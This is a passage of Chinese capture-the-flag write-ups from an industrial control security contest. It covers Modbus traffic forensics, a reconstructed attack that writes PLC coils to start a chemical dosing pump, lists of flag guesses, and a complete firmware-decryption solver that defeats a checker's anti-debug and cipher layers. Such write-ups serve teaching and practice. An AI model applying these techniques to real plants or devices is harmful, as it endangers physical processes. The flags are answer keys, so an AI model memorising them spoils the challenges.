prev_row = row
# Save as PPM
with open('flag.ppm', 'wb') as f:
f.write(f"P6\n{w} {new_h}\n255\n".encode())
f.write(bytes(unfiltered))
print(f"Saved flag.ppm ({w}x{new_h})")
# Save with PIL if available
try:
from PIL import Image
img = Image.frombytes('RGB', (w, new_h), bytes(unfiltered))
img.save('flag_pil.png')
print("Saved flag_pil.png via PIL")
except ImportError:
print("PIL not available, use flag.ppm")
flag{S7comm_St3g0_M4ster}
GY10-泵站异常写寄存器排查
*线索定位:* HMI 日志显示 register write detected: unit=1 area=4x start=40120 count=9,对照 [register_map.csv](file:///F:/Fshare/Challenges/Challenges_ToMove/工控安全锦标赛/Game_Tmp/Misc/GY10-泵站异常写寄存器排查/附件/register_map.csv),40120 是 maintenance_buffer(uint16[9] 调试缓冲区),即异常写入目标。
*流量分析:* 用 tshark 过滤 Modbus 流量,找到第 5 帧(10.10.20.15 → 10.10.20.30):
| *字段* | *值* |
|---|---|
| func_code | 16 (Write Multiple Registers) |
| reference_num | 119 (协议地址 = 40120 - 40001) |
| count | 9 |
| 寄存器值 | 26220, 24935, 31600, 30061, 28767, 31333, 29295, 25956, 32000 |
*还原隐藏信息:* 9 个 uint16 大端拼接为字节:66 6c 61 67 7b 70 75 6d 70 5f 7a 65 72 6f 65 64 7d 00,即 ASCII:
Plain Text
flag{pump_zeroed}
GY10-幽灵PLC
从pcap提取文件。
#!/usr/bin/env python3
"""Extract Modbus Write Multiple Registers (FC=16) data from PCAP."""
import struct
import sys
from scapy.all import rdpcap, TCP, Raw
PCAP = r".\extracted\Ghost_in_PLC_2026.pcap"
packets = rdpcap(PCAP)
writes = [] # list of (trans_id, start_reg, word_count, values_list, frame_idx)
for idx, pkt in enumerate(packets):
if TCP not in pkt:
continue
payload = bytes(pkt[TCP].payload)
if len(payload) < 7:
continue
# MBAP header: trans_id(2) proto_id(2) length(2) unit_id(1)
trans_id = struct.unpack(">H", payload[0:2])[0]
proto_id = struct.unpack(">H", payload[2:4])[0]
length = struct.unpack(">H", payload[4:6])[0]
unit_id = payload[6]
if proto_id != 0:
continue
pdu = payload[7:7+length-1]
if len(pdu) < 1:
continue
func_code = pdu[0]
if func_code != 16: # Write Multiple Registers
continue
if len(pdu) < 6:
continue
start_reg = struct.unpack(">H", pdu[1:3])[0]
word_cnt = struct.unpack(">H", pdu[3:5])[0]
byte_cnt = pdu[5]
data = pdu[6:6+byte_cnt]
values = []
try:
for i in range(word_cnt):
v = struct.unpack(">H", data[i*2:i*2+2])[0]
values.append(v)
except struct.error:
# malformed: skip this packet
continue
writes.append((trans_id, start_reg, word_cnt, values, idx))
print(f"Total write packets: {len(writes)}")
# Show first few and last few
for w in writes[:5]:
print(f"trans={w[0]} start={w[1]} cnt={w[2]} first5vals={w[3][:5]} frame={w[4]}")
print("...")
for w in writes[-5:]:
print(f"trans={w[0]} start={w[1]} cnt={w[2]} first5vals={w[3][:5]} frame={w[4]}")
# Count distinct trans_id values
trans_ids = sorted(set(w[0] for w in writes))
print(f"\nDistinct trans_ids: {len(trans_ids)}")
print(f"Min trans_id: {trans_ids[0]}, Max trans_id: {trans_ids[-1]}")
# Check if trans_ids are all unique
from collections import Counter
trans_counter = Counter(w[0] for w in writes)
dups = [(t,c) for t,c in trans_counter.items() if c > 1]
print(f"Duplicate trans_ids: {len(dups)}")
if dups:
print(f"First few dups: {dups[:5]}")
# Approach 1: concatenate all writes in frame order, taking each write's data as bytes
out1 = bytearray()
for w in writes:
out1.extend(struct.pack(f">{len(w[3])}H", *w[3]))
with open(r".\firmware_chunked.bin", "wb") as f:
f.write(out1)
print(f"\nWrote chunked binary: {len(out1)} bytes")
print(f"First 32 bytes (hex): {out1[:32].hex()}")
#!/usr/bin/env python3
"""Better Modbus extraction with TCP reassembly using pyshark or scapy sessions."""
import struct
from scapy.all import rdpcap, TCP, IP
from collections import defaultdict
PCAP = r"f:\Fshare\del1\vmware\test\del_das2026\G2\game2\GY10-幽灵PLC\extracted\Ghost_in_PLC_2026.pcap"
packets = rdpcap(PCAP)
# Reassemble TCP streams
streams = defaultdict(bytearray)
pkt_info = [] # (frame_idx, stream_key, data_offset, data_length, trans_id, ...)
for idx, pkt in enumerate(packets):
if TCP not in pkt or IP not in pkt:
continue
payload = bytes(pkt[TCP].payload)
if not payload:
continue
sport = pkt[TCP].sport
dport = pkt[TCP].dport
seq = pkt[TCP].seq
stream_key = (pkt[IP].src, sport, pkt[IP].dst, dport)
streams[stream_key].extend(payload)
# Now parse the HMI -> PLC stream (192.168.1.100 -> 192.168.1.200)
hmi_stream = None
for key, data in streams.items():
if key[0] == "192.168.1.100" and key[2] == "192.168.1.200":
hmi_stream = data
print(f"HMI stream: {len(data)} bytes from {key}")
break
# Parse modbus messages from HMI stream
offset = 0
messages = []
while offset + 7 <= len(hmi_stream):
trans_id = struct.unpack(">H", hmi_stream[offset:offset+2])[0]
proto_id = struct.unpack(">H", hmi_stream[offset+2:offset+4])[0]
length = struct.unpack(">H", hmi_stream[offset+4:offset+6])[0]
unit_id = hmi_stream[offset+6]
if proto_id != 0:
offset += 1
continue
msg_total = 6 + length # length field includes unit_id and PDU
if offset + msg_total > len(hmi_stream):
break
pdu = hmi_stream[offset+7:offset+6+length]
if len(pdu) >= 1:
fc = pdu[0]
if fc == 16 and len(pdu) >= 6:
start_reg = struct.unpack(">H", pdu[1:3])[0]
word_cnt = struct.unpack(">H", pdu[3:5])[0]
byte_cnt = pdu[5]
data_bytes = pdu[6:6+byte_cnt]
messages.append({
"trans": trans_id,
"start": start_reg,
"word_cnt": word_cnt,
"byte_cnt": byte_cnt,
"data": data_bytes,
"expected_data_len": word_cnt*2,
})
offset += msg_total
print(f"Total FC=16 write messages: {len(messages)}")
# Find malformed ones
malformed = [m for m in messages if len(m["data"]) < m["word_cnt"]*2]
print(f"Malformed (data shorter than word_cnt*2): {len(malformed)}")
for m in malformed[:5]:
print(f" trans={m['trans']} start={m['start']} word_cnt={m['word_cnt']} byte_cnt={m['byte_cnt']} data_len={len(m['data'])}")
# Concatenate data
out = bytearray()
for m in messages:
out.extend(m["data"])
print(f"\nTotal concatenated data: {len(out)} bytes")
print(f"First 32 bytes hex: {out[:32].hex()}")
print(f"Last 32 bytes hex: {out[-32:].hex()}")
with open(r"f:\Fshare\del1\vmware\test\del_das2026\G2\game2\GY10-幽灵PLC\firmware_v2.bin", "wb") as f:
f.write(out)
print("Saved firmware_v2.bin")
密码 通过icmp的包获取
ics_Modbus_2026
解出一个update.bin。文件最后有 ycwnyxqakg6202 翻转过来。
flag{2026gkaqxynwcy}
GY10-Audit
GY10-时间域隐蔽通道-“扫描幽灵”

666c61677b50524f374f63306c5f31445f324368346e5f7d B16Enc ode!!
flag{PRO7Oc0l_1D_2Ch4n_}
Fail: GY10-水厂夜班异常
分析结论
事件还原
攻击者:192.168.10.23(不在HMI设备清单中的未授权IP)
攻击步骤:
1. 侦察阶段:
- FC1 Read Coils(Start=8, Count=16)— 读取线圈状态
- FC3 Read Holding Registers(Start=0, Count=8)— 读取过程值
2. 攻击阶段:
- FC15 Write Multiple Coils(Start=8, Count=8, Data=0x12)
- 0x12 = 二进制 00010010,即:
- Coil 9(SIG_DOS_REQ_03)= ON → 激活投加序列请求
- Coil 12(SIG_OUT_REQ_01)= ON → 激活出水序列请求
PLC逻辑影响链
FC15写入Coil 9 = ON
→ SEQ_DOSING_REQ = ON (NETWORK 5)
→ DOS_SEQ.Request = ON (NETWORK 8)
→ Low_Level_State = TRUE + NOT Maintenance + NOT Hold
→ DOS_SEQ.RunCmd = TRUE
→ Q0.3 = TRUE → P-201A(化学投加泵)启动
→ 投加偏差超限 → CRITICAL报警
报警日志印证
┌──────────┬─────────────────────────┬──────────────────┐
│ 时间 │ 事件 │ 说明 │
├──────────┼─────────────────────────┼──────────────────┤
│ 10:13:21 │ LVL_201_LOW │ 液位低于阈值 │
├──────────┼─────────────────────────┼──────────────────┤
│ 10:13:25 │ P-201A STOP→RUN │ 投加泵异常启动 │
├──────────┼─────────────────────────┼──────────────────┤
│ 10:13:31 │ DOS_DEV_HIGH (CRITICAL) │ 投加偏差超限 │
├──────────┼─────────────────────────┼──────────────────┤
│ 10:13:45 │ 无操作员会话 │ 确认非操作员操作 │
└──────────┴─────────────────────────┴──────────────────┘
Flag
flag{Modbus_FC15_9_P-201A}
- Protocol: Modbus(工业控制协议)
- Function: FC15(Write Multiple Coils,写多个线圈)
- Address: 9(Coil 9 = SIG_DOS_REQ_03,投加序列请求,导致工艺异常的关键控制点)
- Device: P-201A(化学投加泵,对应的现场物理设备)
protocol 变体:
flag{modbus_tcp_15_9_P-201A}
flag{mbtcp_15_9_P-201A}
flag{Modbus_15_9_P-201A}
address 变体(Modbus 习惯写法):
flag{modbus_15_0009_P-201A} # 4位十六进制
flag{modbus_15_00009_P-201A} # 经典5位线圈号
flag{modbus_15_09_P-201A}
function 变体:
flag{modbus_fc15_9_P-201A}
flag{modbus_writemultiplecoils_9_P-201A}
flag{modbus_write_multiple_coils_9_P-201A}
device 变体(报警日志事件码里出现过 P201A_STATE 不带连字符):
flag{modbus_15_9_P201A}
最后兜底??如果平台认为"关键控制点"是出水阀(同一帧里线圈 12 也被写了,10:13:50 出水阀 V-320 反馈跳变):
flag{modbus_15_12_V-320}
GY10-水厂夜班异常的flag样例:”flag{modbus_fc05_coil0020_alarm_reset}“。请参考,多谢
flag{modbus_fc0f_coil0009_alarm_reset}
flag{modbus_fc0f_coil0009_p_201a}
flag{modbus_fc0f_coil0009_v_320}
Fail: GY10-look
Network security is an umbrella term to describe security controls, policies, processes and practices adopted to prevent, detect and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.Network security involves the authorization of access to data in a network veracrypt, which is controlled by the network a is 6?, b is ?7, s is ?, administrator. Users choose or are assigned
Reverse
GY10-反应釜温度与压力融合控制

运行程序得到2030,提交flag{2026+2030}
GY10-VCL-FW
GY10-VCL-FW 解题记录
解题思路
把 firmware.enc 按 16/8/16/256 切四刀,结构一目了然:
| *区段* | *字节* | *内容* | *角色* |
|---|---|---|---|
0x00 |
16 | WVWZZZ3CZJE12345 |
16 字节设备标识(非标准 17 位 VIN) |
0x10 |
8 | 1122334455667788 |
密钥派生种子 |
0x18 |
16 | 00112233445566778899aabbccddeeff |
链式分组 IV |
0x28 |
256 | 16 组 128-bit | 密文 |
由外向内剥洋葱
fw_check 里完整保留了 OTA 端的加密代码(见附录 A 的还原过程),形成一条四层嵌套的加密链。解密只需按相反顺序逐层剥开:CBC → 分组密码 → 轮程序 → 密钥。
第一层:CBC 链式分组
最外层是标准 CBC。对第 i 个 16 字节密文分组 C_i,先用内层分组密码解出中间值 D(C_i),再与前一组密文异或:
P_i = D(C_i) XOR C_{i-1}
C_{-1} = IV = 00112233445566778899aabbccddeeff
走完 16 组得到 256 字节明文。剩下的工作就是还原 D(·)。
第二层:24 轮左右半交换网络
内层分组密码由一台栈式字节码 VM 实现,VM 解释器在 0x1bf0,字节码本体在 0x58800,恰好 24 段、每段 0x40A 字节。把每段的内存写回行为抽象出来,单轮可化简为:
正向: (L, R) -> (R, L XOR F_i(R))
这是教科书式的左右半交换(Feistel)结构。关键观察是:*轮函数* ***\*F_i\**** *本身无需还原*——只要能跑通 F_i,就能按相反顺序执行 24 轮完成单分组解密:
逆向: (A, B) -> (B XOR F_i(A), A)
调用 F_i 时给 VM 喂一段 16 字节内存:前 8 字节填 0、后 8 字节填待变换的半组,跑完取 memory[8:16] 即为 F_i 输出。
VM 指令集精简后只有 push/load/store/算术/旋转/S-box/常量几类,操作码先经 0x8500 处 256 字节 opmap 重映射;常量与替换表全部就地取自 checker:
| *资源* | *偏移* | *服务于* |
|---|---|---|
| opmap | 0x8500 |
原始字节 → 内部 opcode |
| 主 S-box | 0x82F0 |
opcode 18 |
| nibble 表 | 0x8110 |
opcode 19 |
| 24 × uint64 常量 | 0x8600 |
opcode 32 |
| 24 字节常量 | 0x86C0 |
opcode 33 |
第三层:xoshiro256** 拉出的 384 字节轮程序
VM 每轮需要一份 384 字节的“轮程序”灌进 memory[0x10:0x190]。这份程序不是常量,而是用 xoshiro256** 现场生成 48 个 64 位整数拼出来的(0x19d0)。初始状态四个 64 位字直接来自已派生 key 与 firmware.enc 头部:
s0, s1 = key 的两个小端 uint64
s2 = firmware.enc[0x10:0x18] 的小端 uint64
s3 = CRC32(key || firmware.enc[0x10:0x18])
每个输出字为 ((rol64(s1*5, 7)) * 9) & MASK64,随后做一次完整 scramble。这 384 字节程序的 SHA-256:
3f97b3391ea6a1f96f95cf1ff8adf78470745e01393bf35d5389bced0957212e
第四层:从设备标识派生的 128 位对称密钥
最内层是密钥派生(0x1720 / 0x19a0),用到 checker 里两块 256 字节 S-box(0x82F0、0x83F0)、checker 自己嵌入的 16 字节设备标识(0x84F0,与 firmware.enc 头部一致)、两个 64 位奇数乘子,以及 0x80E0 处 16 字节尾部掩码。复现出的 16 字节 key:
a1b2c3d4e5f60718293a4b5c6d7e8f90
派生流水线五步走:
- *第一层替换*:用
0x82F0的 S-box 对 16 字节设备标识逐字节过一遍,前 8 字节组成left(小端 uint64),后 8 字节组成right。 - *乘法扩散*:
left乘0x9E3779B97F4A7C15再异或0xA5A5A5A5A5A5A5A5,得x;right乘0xD1B54A32D192ED03再异或0x5A5A5A5A5A5A5A5A,得y。 - *第二层替换*:把
x、y展成字节xb[0..7]、yb[0..7],按下标表
first_idx = (xb[7], yb[7], xb[1], yb[3], yb[0], xb[6], yb[1], xb[0])
second_idx = (yb[2], yb[4], yb[6], xb[2], xb[3], yb[5], xb[4], xb[5])
从 0x83F0 的 S-box 取字节,分别组装成两个 64 位 first、second。
- *旋转混合*:
first = rol64(0x123456789ABCDEF0 + first, 23);second = rol64(0x0FEDCBA987654321 ^ second, 45)。 - *尾部掩码*:拼成 16 字节后与
0x80E0..0x80F0异或,即得最终 key。
剥出来的明文
256 字节明文头部 16 字节:
56 43 4c 46 57 01 00 00 e5 00 00 00 f8 d3 a8 dc
V C L F W ver payload=229 CRC32
明文固件结构:
| *偏移* | *字段* | *值* |
|---|---|---|
0x00 |
魔数 | VCLFW |
0x05 |
版本 | 1 |
0x08 |
payload 长度(u32le) | 229 |
0x0c |
payload CRC-32(u32le) | 0xdca8d3f8 |
0x10 |
payload(文本配置) | 229 字节 |
重算 payload 的 CRC-32 仍是 0xdca8d3f8,与存储值一致。payload 文本里关键一段:
[DIAG_AUTH]
token=flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}
闭环:与校验器的真目标对账
光解出 flag 不够,还要证明我们离线走的这条链就是 fw_check 真正校验的那条链。
校验器真正在比什么
0x4000 对每个 16 字节明文分组做 16 轮查表-置换-混合的白盒变换,并按 CBC 风格把上一组输出作为下一组链值:
Y_i = WhiteBox16(P_i XOR Y_{i-1})
Y_{-1} = 00112233445566778899aabbccddeeff
WhiteBox16 单轮流程:
- 用
0x8800 + r*0x1000 + pos*0x100 + val处的查表对 16 字节逐字节替换; - 按
0x8110处的 16 字节置换重排; - 在
0x18800 + r*0x4000处的 4×4 GF(2^8) 混合表里把 16 字节分成 4 组各 4 字节做线性混合。
真目标摘要的藏匿方式
0x5000 那一支拿白盒输出和 rodata[0x8150:0x8250] 逐字节比较——但比较结果被丢弃,是纯诱饵。真正的判定在 0x6000:对 Y_0 || … || Y_15 共 256 字节做 SHA-256,再与“真目标摘要”比对。
真目标摘要不是连续存放的,而是散布在 0x8050..0x80D0 这 128 字节里,每 16 字节只取前 4 字节,拼起来才是 32 字节 SHA-256:
4d3dff35 4bd846bb d2a561de 427c0096
a1b5aaaf 596b5eb9 31c5563c f92c0480
比对结果
把我们解出的明文喂进 §校验器真正在比什么 的白盒链式变换,得到的 SHA-256:
4d3dff354bd846bbd2a561de427c0096a1b5aaaf596b5eb931c5563cf92c0480
与上面对账完全一致。
再加一道保险:把解出的固件丢回未改动的 fw_check 里跑,在无网络、只读根文件系统、不授予任何 Linux capability 的 amd64 容器内,输出 MATCH、退出码 0。
明文通过结构校验、CRC-32、白盒链式 SHA-256、原始程序运行四道关卡,flag 确凿无误。
附录 A:校验器自身的防护层
上述全部偏移与常量并非直接可见——fw_check 用了一层“构造函数自解压 + 反调试 + 诱饵分支”的防护,这里记录还原过程。
ELF 构造函数 0x1210 同时按下三颗开关:
ptrace(PTRACE_TRACEME)配合RDTSC做时间戳差检,被调试就置位失败标志;- 失败标志写入
.bss:0x60084,主函数据此无条件 reject 任何候选固件; - 用 16 字节循环密钥
0123456789abcdeffedcba9876543210原地异或解出0x3000..0x7342段的自定义密码学代码。
也就是说,只要离线拿这 16 字节 XOR 一遍 0x3000..0x7342,就能在不触发任何反调试逻辑的前提下直接反汇编真正的加密代码,根本不需要动态调试。
主函数的校验流水线在去混淆后是这样的:
候选固件结构 + CRC 自检
│
▼
0x4000 对每个 16 字节分组做查表-置换-混合的链式白盒变换
│
▼
0x5000 把结果和 rodata[0x8150:0x8250] 逐字节比较 ← 诱饵分支
│
▼
0x6000 把白盒输出再做一次 SHA-256,与真目标摘要比较 ← 真正的判定
0x8150 那 256 字节常量因此不是待还原的密文。
完整的 OTA 加密代码也没被删掉,关键入口:
| *入口* | *作用* |
|---|---|
0x1720 / 0x19a0 |
由设备标识派生 128 位对称密钥 |
0x19d0 |
拉出 384 字节轮程序 |
0x1bf0 |
跑自定义 128 位分组密码的栈式 VM |
0x1ec0 |
调用 VM 做 CBC 模式的加密循环 |
把这条链反过来走,就是本文 §由外向内剥洋葱 的解密路径。
flag
flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}
落地 256 字节明文固件,SHA-256:
89bba9991a248f1370e6b21c80d77f861672420f28d3f180a1bb55c063db4165
执行
把 solve_vcl_fw.py、firmware.enc、fw_check 放到同一目录,执行:
python3 solve_vcl_fw.py firmware.enc fw_check -o firmware.dec
脚本只依赖 Python 标准库(struct / zlib / hashlib / re / argparse / pathlib),全程不执行 fw_check。预期输出:
key=a1b2c3d4e5f60718293a4b5c6d7e8f90
nonce_prefix=1122334455667788
iv=00112233445566778899aabbccddeeff
candidate_sha256=89bba9991a248f1370e6b21c80d77f861672420f28d3f180a1bb55c063db4165
payload_size=229
crc32=dca8d3f8 (stored dca8d3f8)
checker_hash=4d3dff354bd846bbd2a561de427c0096a1b5aaaf596b5eb931c5563cf92c0480
expected_hash=4d3dff354bd846bbd2a561de427c0096a1b5aaaf596b5eb931c5563cf92c0480
flag=flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}
wrote=firmware.dec
exp
#!/usr/bin/env python3
"""
python solve_vcl_fw.py firmware.enc fw_check -o firmware.dec
GY10-VCL-FW offline solver (Python standard library only).
Reverse-engineers the OTA firmware validator `fw_check` to recover the real
decryption path, then decrypts `firmware.enc` without executing the checker.
Pipeline:
1. derive_key() - VIN-bound 128-bit key (S-boxes + mul/rot + mask)
2. expand_program() - 384-byte round program via xoshiro256**
3. BlockVM - invert the 24-round Feistel VM at 0x58800
4. decrypt_firmware() - CBC mode decryption of the 16 ciphertext blocks
5. verify - CRC32 + whitebox SHA-256 chain
"""
from __future__ import annotations
import argparse
import hashlib
import re
import struct
import zlib
from pathlib import Path
MASK64 = (1 << 64) - 1
# Layout constants recovered from fw_check.
OUTER_MAGIC = b"WVWZZZ3CZJE12345" # firmware.enc[0:16], also checker[0x84F0:0x8500]
INNER_MAGIC = b"VCLFW" # plaintext firmware magic
# firmware.enc layout:
# 0x00 16 device id (OUTER_MAGIC)
# 0x10 8 nonce prefix (key stream seed)
# 0x18 16 CBC IV
# 0x28 256 ciphertext (16 * 128-bit blocks)
def rol64(value: int, count: int) -> int:
count &= 63
if count == 0:
return value & MASK64
return ((value << count) | (value >> (64 - count))) & MASK64
def ror64(value: int, count: int) -> int:
return rol64(value, -count)
def derive_key(checker: bytes) -> bytes:
"""Reproduce fw_check's VIN-bound key derivation (functions 0x1720/0x19a0).
Uses two 256-byte S-boxes at 0x82F0/0x83F0, the embedded VIN at 0x84F0,
64-bit multiplication by golden-ratio constants, byte permutation, fixed
constants, and a 16-byte mask at 0x80E0.
"""
input_sbox = checker[0x82F0:0x83F0]
output_sbox = checker[0x83F0:0x84F0]
embedded_vin = checker[0x84F0:0x8500]
if embedded_vin != OUTER_MAGIC:
raise ValueError("unexpected checker VIN")
# Stage 1: input S-box substitution over the 16 VIN bytes.
substituted = bytes(input_sbox[b] for b in embedded_vin)
left = int.from_bytes(substituted[:8], "little")
right = int.from_bytes(substituted[8:], "little")
# Stage 2: multiplicative diffusion with odd constants.
x = 0xA5A5A5A5A5A5A5A5 ^ ((left * 0x9E3779B97F4A7C15) & MASK64)
y = 0x5A5A5A5A5A5A5A5A ^ ((right * 0xD1B54A32D192ED03) & MASK64)
xb = x.to_bytes(8, "little")
yb = y.to_bytes(8, "little")
# Stage 3: byte-indexed permutation into two 64-bit halves.
first_idx = (xb[7], yb[7], xb[1], yb[3], yb[0], xb[6], yb[1], xb[0])
second_idx = (yb[2], yb[4], yb[6], xb[2], xb[3], yb[5], xb[4], xb[5])
first = int.from_bytes(bytes(output_sbox[i] for i in first_idx), "little")
second = int.from_bytes(bytes(output_sbox[i] for i in second_idx), "little")
# Stage 4: rotation mixing and final mask.
first = rol64((0x123456789ABCDEF0 + first) & MASK64, 23)
second = rol64(0x0FEDCBA987654321 ^ second, 45)
raw_key = struct.pack("<QQ", first, second)
key_mask = checker[0x80E0:0x80F0]
return bytes(a ^ b for a, b in zip(raw_key, key_mask))
def expand_program(key: bytes, nonce_prefix: bytes) -> bytes:
"""Generate the VM's 384-byte round program with xoshiro256**.
Initial state (matches checker function 0x19d0):
s0, s1 = key as two little-endian uint64
s2 = firmware.enc[0x10:0x18] as little-endian uint64
s3 = CRC32(key || nonce_prefix)
"""
seed_crc = zlib.crc32(key + nonce_prefix)
s0, s1 = struct.unpack("<QQ", key)
s2 = int.from_bytes(nonce_prefix, "little")
s3 = seed_crc
program = bytearray()
for _ in range(48): # 48 * 8 = 384 bytes
program += struct.pack("<Q", (rol64((s1 * 5) & MASK64, 7) * 9) & MASK64)
temporary = (s1 << 17) & MASK64
s2 ^= s0
s3 ^= s1
s1 ^= s2
s0 ^= s3
s2 ^= temporary
s3 = rol64(s3, 45)
s0 &= MASK64
s1 &= MASK64
s2 &= MASK64
s3 &= MASK64
return bytes(program)
class BlockVM:
"""Interpreter for the fixed stack VM at 0x1bf0.
The VM bytecode at file offset 0x58800 consists of 24 round programs,
each ROUND_SIZE bytes long. Each round implements a Feistel round
function F_i: it loads a 16-byte block into memory, executes the
round bytecode, and returns the first 16 bytes of memory.
"""
ROUND_SIZE = 0x40A
ROUND_COUNT = 24
def __init__(self, checker: bytes):
self.opmap = checker[0x8500:0x8600] # opcode remap table
self.sbox = checker[0x82F0:0x83F0]
self.nibble = checker[0x8110:0x8120]
self.qconst = struct.unpack_from("<24Q", checker, 0x8600)
self.bconst = checker[0x86C0:0x86D8]
start = 0x58800
self.code = checker[start:start + self.ROUND_SIZE * self.ROUND_COUNT]
def _execute(self, memory: bytearray, start: int, end: int) -> None:
stack: list[int] = []
pc = start
while pc < end:
opcode = self.opmap[self.code[pc]]
pc += 1
if opcode == 0: # HALT
break
elif opcode == 1: # push imm8
stack.append(self.code[pc]); pc += 1
elif opcode == 2: # push imm32
stack.append(struct.unpack_from("<I", self.code, pc)[0]); pc += 4
elif opcode == 3: # push imm64
stack.append(struct.unpack_from("<Q", self.code, pc)[0]); pc += 8
elif opcode == 4: # load8
stack[-1] = memory[stack[-1]]
elif opcode == 5: # load64
stack[-1] = struct.unpack_from("<Q", memory, stack[-1])[0]
elif opcode == 6: # store8
addr = stack.pop(); memory[addr] = stack.pop() & 0xFF
elif opcode == 7: # store64
addr = stack.pop()
struct.pack_into("<Q", memory, addr, stack.pop() & MASK64)
elif opcode == 8: # add
rhs = stack.pop(); stack[-1] = (stack[-1] + rhs) & MASK64
elif opcode == 9: # sub
rhs = stack.pop(); stack[-1] = (stack[-1] - rhs) & MASK64
elif opcode == 11: # xor
rhs = stack.pop(); stack[-1] ^= rhs
elif opcode == 16: # rol64
rhs = stack.pop(); stack[-1] = rol64(stack[-1], rhs)
elif opcode == 17: # ror64
rhs = stack.pop(); stack[-1] = ror64(stack[-1], rhs)
elif opcode == 18: # sbox
stack[-1] = self.sbox[stack[-1] & 0xFF]
elif opcode == 19: # nibble
stack[-1] = self.nibble[stack[-1] & 0x0F]
elif opcode == 22: # dup
stack.append(stack[-1])
elif opcode == 32: # qconst
stack[-1] = self.qconst[stack[-1] % 24]
elif opcode == 33: # bconst
stack[-1] = self.bconst[stack[-1] % 24]
else:
raise ValueError(f"unexpected VM opcode {opcode} at {pc - 1:#x}")
def run_round(self, round_index: int, block: bytes, program: bytes) -> bytes:
memory = bytearray(0xA08)
memory[:16] = block
memory[0x10:0x190] = program
start = round_index * self.ROUND_SIZE
self._execute(memory, start, start + self.ROUND_SIZE)
return bytes(memory[:16])
def decrypt(self, block: bytes, program: bytes) -> bytes:
"""Invert the 24-round Feistel network.
Forward round i: (L, R) -> (R, L XOR F_i(R))
Inverse round i: (A, B) -> (B XOR F_i(A), A)
executed in reverse round order.
"""
state = block
for round_index in reversed(range(self.ROUND_COUNT)):
left, right = state[:8], state[8:]
function_value = self.run_round(
round_index, bytes(8) + left, program
)[8:]
state = bytes(a ^ b for a, b in zip(right, function_value)) + left
return state
def decrypt_firmware(checker: bytes, encrypted: bytes):
"""Decrypt firmware.enc and return (plaintext, key, nonce_prefix, iv)."""
if len(encrypted) != 0x128:
raise ValueError(f"unexpected firmware.enc length: {len(encrypted):#x}")
if encrypted[:16] != OUTER_MAGIC:
raise ValueError("bad firmware.enc VIN/magic")
nonce_prefix = encrypted[16:24]
iv = encrypted[24:40]
ciphertext = encrypted[40:]
key = derive_key(checker)
program = expand_program(key, nonce_prefix)
vm = BlockVM(checker)
plaintext = bytearray()
previous = iv
for offset in range(0, len(ciphertext), 16):
block = ciphertext[offset:offset + 16]
intermediate = vm.decrypt(block, program)
plaintext += bytes(a ^ b for a, b in zip(intermediate, previous))
previous = block
return bytes(plaintext), key, nonce_prefix, iv
def whitebox_block(checker: bytes, block: bytes) -> bytes:
"""16-byte white-box block transform used by checker 0x4000.
16 rounds of: substitute (per-byte tables) -> permute -> mix (4x4 GF(2^8)).
"""
permutation = checker[0x8110:0x8120]
state = bytearray(block)
for round_index in range(16):
sub_base = 0x8800 + round_index * 0x1000
substituted = bytes(
checker[sub_base + pos * 0x100 + val]
for pos, val in enumerate(state)
)
permuted = bytes(substituted[pos] for pos in permutation)
mix_base = 0x18800 + round_index * 0x4000
next_state = bytearray(16)
for group in range(4):
contribution = bytearray(4)
for in_idx in range(4):
value = permuted[group * 4 + in_idx]
entry = mix_base + group * 0x1000 + in_idx * 0x400 + value * 4
for out_idx in range(4):
contribution[out_idx] ^= checker[entry + out_idx]
next_state[group * 4:group * 4 + 4] = contribution
state = next_state
return bytes(state)
def real_checker_hash(checker: bytes, candidate: bytes) -> bytes:
"""SHA-256 over the white-box chain output (the 0x4000 -> 0x6000 path)."""
chaining = checker[0x8040:0x8050]
transformed = bytearray()
for offset in range(0, len(candidate), 16):
whitened = bytes(a ^ b for a, b in zip(candidate[offset:offset + 16], chaining))
chaining = whitebox_block(checker, whitened)
transformed += chaining
return hashlib.sha256(transformed).digest()
def expected_checker_hash(checker: bytes) -> bytes:
"""Real target digest is scattered 4 bytes per 16-byte slot at 0x8050..0x80D0."""
return b"".join(checker[off:off + 4] for off in range(0x8050, 0x80D0, 0x10))
def main() -> None:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("firmware", type=Path, help="path to firmware.enc")
parser.add_argument("checker", type=Path, help="path to fw_check")
parser.add_argument("-o", "--output", type=Path, default=Path("firmware.dec"))
args = parser.parse_args()
encrypted = args.firmware.read_bytes()
checker = args.checker.read_bytes()
candidate, key, nonce_prefix, iv = decrypt_firmware(checker, encrypted)
if len(candidate) != 0x100 or candidate[:5] != INNER_MAGIC:
raise SystemExit("decryption failed: invalid VCLFW image")
payload_size, stored_crc = struct.unpack_from("<II", candidate, 8)
if payload_size + 16 > len(candidate):
raise SystemExit("decryption failed: invalid payload size")
payload = candidate[16:16 + payload_size]
actual_crc = zlib.crc32(payload)
transformed_hash = real_checker_hash(checker, candidate)
expected_hash = expected_checker_hash(checker)
flags = re.findall(rb"flag\{[^}\r\n]+\}", payload)
print(f"key={key.hex()}")
print(f"nonce_prefix={nonce_prefix.hex()}")
print(f"iv={iv.hex()}")
print(f"candidate_sha256={hashlib.sha256(candidate).hexdigest()}")
print(f"payload_size={payload_size}")
print(f"crc32={actual_crc:08x} (stored {stored_crc:08x})")
print(f"checker_hash={transformed_hash.hex()}")
print(f"expected_hash={expected_hash.hex()}")
if actual_crc != stored_crc:
raise SystemExit("CRC verification failed")
if transformed_hash != expected_hash:
raise SystemExit("real checker-path verification failed")
if len(flags) != 1:
raise SystemExit(f"expected one flag, found {len(flags)}")
args.output.write_bytes(candidate)
print(f"flag={flags[0].decode('ascii')}")
print(f"wrote={args.output}")
if __name__ == "__main__":
main()
flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}
pwn
GY10-furnace
furnace
先查保护,保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
❯
解题思路
逆向 VM,理清指令与数据结构
main 读入 1 字节,经 qword_5060 映射表分派:''(0x60)→退出,'a'~'j'`→handler 1~10。关键全局(.bss):
0x5010 n96_0 # 'g' 泄漏预算(96)
0x51C0 buf_[0xC8] # 文件名缓冲(sub_12ED 打开它的内容)
0x5240 qword_5240 # 编码的函数指针"钥匙",程序从不写入(必须漏洞写入)
